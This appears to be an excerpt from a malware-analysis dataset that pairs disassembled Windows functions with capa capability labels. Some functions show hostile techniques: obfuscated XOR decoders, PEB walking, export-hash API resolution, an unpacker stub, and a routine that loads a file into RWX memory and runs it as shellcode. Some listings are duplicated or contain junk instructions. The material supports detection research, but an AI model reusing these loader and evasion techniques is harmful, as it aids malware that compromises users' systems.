joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40fbf0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call fcn.0040f7d0
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40fc1c
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 8]
call dword [0x435168]
call dword [ebp - 8]
jmp 0x40fc26
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esp, ebp
pop ebp
ret

Function at 0x420340
Capabilities:
Create thread

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x34
call fcn.00422c10
mov byte [ebp - 1], al
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x42037e
cmp dword [ebp + 8], 0
je 0x42036c
lea eax, [ebp + 8]
push eax
call fcn.00420540
add esp, 4
movzx ecx, byte [ebp - 1]
test ecx, ecx
je 0x42037e
mov eax, 4
jmp 0x4204ae
call fcn.00422a40
movzx edx, al
test edx, edx
jne 0x4203ac
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x42039d
mov dword [ebp - 0xc], 4
jmp 0x4203a4
mov dword [ebp - 0xc], 3
mov eax, dword [ebp - 0xc]
jmp 0x4204ae
movzx eax, byte [ebp - 1]
test eax, eax
je 0x420455
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp + 8]
mov dword [ebp - 0x30], edx
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], 0
push 0
push 0
lea ecx, [ebp - 0x34]
push ecx
push 0x4204f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
lea ecx, [ebp - 8]
call fcn.004132f0
lea ecx, [ebp - 8]
call fcn.00420580
movzx edx, al
test edx, edx
jne 0x420417
mov dword [ebp - 0x10], 0
lea ecx, [ebp - 8]
call fcn.00420560
mov eax, dword [ebp - 0x10]
jmp 0x4204ae
push 0
push 0xffffffffffffffff
lea ecx, [ebp - 8]
call fcn.00411cd0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
test eax, eax
je 0x420442
mov dword [ebp - 0x14], 0
lea ecx, [ebp - 8]
call fcn.00420560
mov eax, dword [ebp - 0x14]
jmp 0x4204ae
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 8]
call fcn.00420560
mov eax, dword [ebp - 0x18]
jmp 0x4204ae
call fcn.00422b60
movzx ecx, al
test ecx, ecx
jne 0x42048e
mov edx, dword [ebp + 0x10]
or edx, 0x200000
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], 0
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp + 0xc]
push ecx
lea edx, [ebp + 8]
push edx
lea eax, [ebp - 0x20]
push eax
call fcn.004204c0
add esp, 0x10
jmp 0x4204ae
call fcn.00422a70
mov dword [ebp - 0x24], eax
lea ecx, [ebp + 0x10]
push ecx
lea edx, [ebp + 0xc]
push edx
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x24]
push ecx
call fcn.004204c0
add esp, 0x10
mov esp, ebp
pop ebp
ret
Function at 0x10003863
Capabilities:
Check if file exists

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x21c
mov eax, dword [0x100081a0]
xor eax, esp
mov dword [esp + 0x218], eax
mov eax, dword [ebp + 8]
mov edx, 0x104
push ebx
push esi
push edi
push ecx
push ecx
xor edi, edi
mov dword [esp + 0x1c], eax
push ecx
lea ecx, [esp + 0x24]
mov dword [eax], edi
mov dword [eax + 4], edi
call fcn.10001d47
push 0x1000163c
lea ecx, [esp + 0x1c]
call fcn.10001cae
lea eax, [esp + 0x18]
push eax
push edi
push 0x1f0003
call dword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_OpenSemaphoreW]
mov esi, eax
test esi, esi
jne 0x100038e7
call dword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
cmp eax, 2
je 0x1000391d
mov ecx, dword [ebp + 4]
mov edx, 0xc8
push 0x10001548
call fcn.10002fe1
mov edi, eax
jmp 0x1000391d
lea edx, [esp + 0x10]
mov dword [esp + 0x10], edi
mov ecx, esi
call fcn.10010cfe
mov ebx, eax
test ebx, ebx
jns 0x1000390f
push ebx
push ecx
mov ecx, dword [ebp + 4]
mov edx, 0xce
call fcn.10002fc2
mov edi, ebx
jmp 0x1000391d
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
cdq
mov dword [ecx], eax
mov dword [ecx + 4], edx
test esi, esi
je 0x10003927
push esi
call fcn.100035e6
mov ecx, dword [esp + 0x224]
mov eax, edi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10006520
mov esp, ebp
pop ebp
ret 8
Function at 0x1000667d
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
lea edx, [ecx + 0x18]
add edx, eax
movzx eax, word [ecx + 6]
imul esi, eax, 0x28
add esi, edx
cmp edx, esi
je 0x100066ba
mov ecx, dword [ebp + 0xc]
cmp ecx, dword [edx + 0xc]
jb 0x100066b3
mov eax, dword [edx + 8]
add eax, dword [edx + 0xc]
cmp ecx, eax
jb 0x100066bf
add edx, 0x28
cmp edx, esi
jne 0x100066a4
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 0x100066bc

Function at 0x1000b238
Capabilities:
Encode data using xor

Disassembly:
call 0x1000b1b1
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x1000b1e1
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x1000b1fd
xor edx, 0
jmp 0x1000b208
xor edx, edx
jmp 0x1000b21f
jmp 0x1000b22b
xor eax, eax
push 0x8427d7c0
call 0x1000b238
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x1000b274
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x1000b24d
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x1000b28b
add eax, 0
jno 0x1000b290
add esi, 0
ret 0x10
Function at 0x1000bff9
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x1000c01b
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x1000c1bd
cmp edi, dword [ebp + 0x10]
jb 0x1000c1bd
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.1000bae5
inc edi
jmp 0x1000c0a4
jmp 0x1000c0b1
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.1000bae5
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.1000bae5
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x1000c105
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x1000c0e9
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.1000c133
add dword [eax], 0x39
jle 0x1000c10f
sub al, 0xf5
mov ch, al
call fcn.1000c148
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10

Function at 0x1000de20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x1000de36
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x1000de47
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.1000de88
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx
Function at 0x100101f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x1001013d
add ebx, 0
push ecx
call 0x10010152
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x6c4a9057
sub ebx, dword [0x6c4c8896]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x6c4c8886
call fcn.1000bc1c
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.1000b12a
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x100102b0
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x100102b0
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x10010267
mov eax, 1
lock xchg dword [0x6c4c8892], eax
push 0x3dd1fc71
call 0x100101f4
push esi
add esp, 8
cmp eax, 0
jne 0x100101dd
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x10010203
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x10010218
cmp ecx, edx
cmp eax, 0
je 0x1001023d
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x10010227
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.10010256
dec eax
loope 0x10010259
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x6c4c8892], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x1001028d
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x100102a2
jmp 0x100102ad
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x1001019b
Function at 0x10017315
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x100175eb
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x6c4b550a
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x6c4ac4d0
push 0xffffffffffffffff
call fcn.1000e515
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x1001737f
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.10017397
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x100175df
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x100175b3
Function at 0x10026de5
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x10026e07
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x10026e07
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x10026e07
ret
cmp word [ebx + 4], 0x14c
jne 0x10026e07
test word [ebx + 0x16], 2
je 0x10026e07
test word [ebx + 0x16], 0x100
je 0x10026e07
cmp word [ebx + 0x18], 0x10b
jne 0x10026e07
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x10026e07
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x10026e93
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10026e27
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1000dd72
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x10026e07
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x10026e93
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x10026e07
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x10026e07
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x10026e07
ret
cmp word [ebx + 4], 0x14c
jne 0x10026e07
test word [ebx + 0x16], 2
je 0x10026e07
test word [ebx + 0x16], 0x100
je 0x10026e07
cmp word [ebx + 0x18], 0x10b
jne 0x10026e07
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x10026e07
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x10026e93
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10026e27
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1000dd72
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x10026e07
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x10026f4a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x10026fa3
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x10026f4a
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x10026f59
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1042cbfc
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x10026faa
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1000de20
cmp eax, dword [ebp + 0xc]
pop eax
je 0x10027049
add edi, 4
add eax, 2
dec ecx
jne 0x10026f8f
call 0x10026ff6
loope 0x10026fec
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x10027046
mov dh, pe_nt_image_headers32
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x10027057
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1002700a
cmp eax, ecx
ja 0x1002700a
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x10027094
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x1002708a
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1000e2ff
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x10026f59
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x10026fa3
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x10026f4a
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x10026f59
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1042cbfc
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x10026faa
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1000de20
cmp eax, dword [ebp + 0xc]
pop eax
je 0x10027049
add edi, 4
add eax, 2
dec ecx
jne 0x10026f8f
call 0x10026ff6
loope 0x10026fec
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x10027046
mov dh, pe_nt_image_headers32
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x10027057
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1002700a
cmp eax, ecx
ja 0x1002700a
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x10027094
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x1002708a
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1000e2ff
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x1434f50
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0xd69015
lea edi, [esi - 0x968015]
lea eax, [edi + 0xffa910]
push dword [eax]
mov dword [eax], 0x8378430
push eax
push edi
or ebp, 0xffffffff
jmp 0x1434f82
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x1434f89
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1434f78
mov eax, 1
add ebx, ebx
jne 0x1434f9b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x1434fac
jne 0x1434fcb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1434fcb
dec eax
add ebx, ebx
jne 0x1434fb8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x1434f90
add ebx, ebx
jne 0x1434fc7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x143501d
xor ecx, ecx
sub eax, 3
jb 0x1434fe3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1435052
sar eax, 1
mov ebp, eax
jmp 0x1434fee
add ebx, ebx
jne 0x1434fee
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1434fbc
inc ecx
add ebx, ebx
jne 0x1434ffc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1434fbc
add ebx, ebx
jne 0x1435009
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x1434ffe
jne 0x143501a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1434ffe
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x143503c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x143502e
jmp 0x1434f7e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x143503c
add edi, ecx
jmp 0x1434f7e
pop esi
pop edi
pop eax
mov dword [edi], eax
mov edi, esi
mov ecx, 0x45e4b
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x143505e
mov eax, dword [edi]
mov bl, byte [edi + 4]
xchg ah, al
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x1435063
lea edi, [esi + 0x1030000]
mov eax, dword [edi]
or eax, eax
je 0x14350cb
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x10589c0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1058af0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x1435089
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1058af8]
or eax, eax
je 0x14350c5
mov dword [ebx], eax
add ebx, 4
jmp 0x14350a6
call dword [esi + 0x1058af4]
mov ebp, dword [esi + 0x1058afc]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
lea ebx, [esi - 0x1000]
lea edi, [ebx + 0x1035126]
push edi
xor eax, eax
stosb byte es:[edi], al
pop ecx
dec ecx
push eax
push 1
push ebx
call ecx
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x1435117
sub esp, 0xffffff80
jmp 0x401480
Function at 0x412402
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
cmp dword [0x4186e0], 0
push ebx
push esi
mov esi, 0x4186e8
jne 0x41242e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
push esi
mov dword [0x418700], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x4186e0], 1
push dword [0x418700]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebx, eax
test ebx, ebx
jne 0x4124cb
push 0x14
push 8
push dword [0x418068]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x4124f5
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x4186e4]
test eax, eax
je 0x412470
mov dword [eax], ebx
push edi
push esi
mov dword [ebx + 4], eax
mov dword [0x4186e4], ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea edi, [ebx + 0x10]
push 0
push 0
push 0x100000
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 8
push 0xffffffffffffffff
push ebx
push 0x4124fa
push dword [edi]
lea eax, [ebx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
push ebx
push dword [0x418700]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop edi
push 0xc
push 0
push dword [0x418068]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x4124f5
mov ecx, dword [esp + 0xc]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x10]
mov dword [eax + 8], ecx
mov ecx, dword [ebx + 8]
mov dword [eax], ecx
mov dword [ebx + 8], eax
pop esi
pop ebx
ret 8

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x401a10
Capabilities:
Encode data using xor

Disassembly:
movzx ecx, word [edx]
xor eax, eax
test cx, cx
je 0x401a36
lea ebx, [ebx]
imul eax, eax, 0xf4243
movzx ecx, cx
add edx, 2
xor eax, ecx
movzx ecx, word [edx]
test cx, cx
jne 0x401a20
ret